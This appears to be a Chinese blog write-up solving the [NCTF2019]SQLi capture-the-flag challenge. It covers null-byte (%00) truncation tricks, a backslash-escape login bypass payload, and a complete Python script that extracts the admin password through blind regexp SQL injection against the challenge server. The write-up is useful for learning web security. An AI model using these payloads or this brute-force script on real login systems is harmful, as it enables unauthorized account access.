刷题笔记:[NCTF2019]SQLi


前言

关键字:[%00|regexp|sql注入regexp]

题解

首先先fuzz一下,检测如下字符

这过滤的也太全了。

试了试不太行。找找看有没有其他线索

打开/robots.txt,里面有提示/hint.txt

%00发包要点

php<5.3.4,且magic_quotes_gpc==off可进行%00截断

%00不能在浏览器中打,会被编码成%2500

在很老的burpsuite版本中需要转到hex改00

刚试了下2020.6版可以直接打%00

2021版直接就把hex栏给取消了,不过可以直接打。
python中传%00不能直接传,需要parse.unquote('%00')

2021年11月18日18:07:49

测试python3.9中无论是GET/POST,放URL里,还是放params/data里,都可以正常打。

浏览器中GET可以直接打,hackbar里POST会提示URI malformed

postman里直接打%2500就好


在此测试下%00截断,payload:

username=\&passwd=||1;%00

若是成功会有个302重定向,说明可行

利用regexp查值

默认不区分大小写。

先快速跑一下,看看回显

然后跑脚本吧

import string
import requests
import time
from urllib import parse

url = 'http://6c177fcd-3eaf-4520-9cab-fd073e403007.node4.buuoj.cn/'
result = ''
# 26个字母+数字+一些符号,小心通配符
s = string.ascii_lowercase + string.digits + '_{}'
last = 'tmp'
while(result != last):
    last = result
    for i in s:
        payload = "||(passwd)regexp(\"^{}\");{}".format(
            (result+i), parse.unquote('%00'))
        data = {
            "username": "\\",
            "passwd": payload
        }
        res = requests.post(url, data=data)
        if res.status_code == 503:
            print('Too fast')
            break
        if b'welcome' in res.content:
            result += i
            print(result)
            break
        time.sleep(0.05)
print('[*]'+result)

跑出

you_will_never_know7788990

账号随便输,密码就这个,登陆下,结束。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录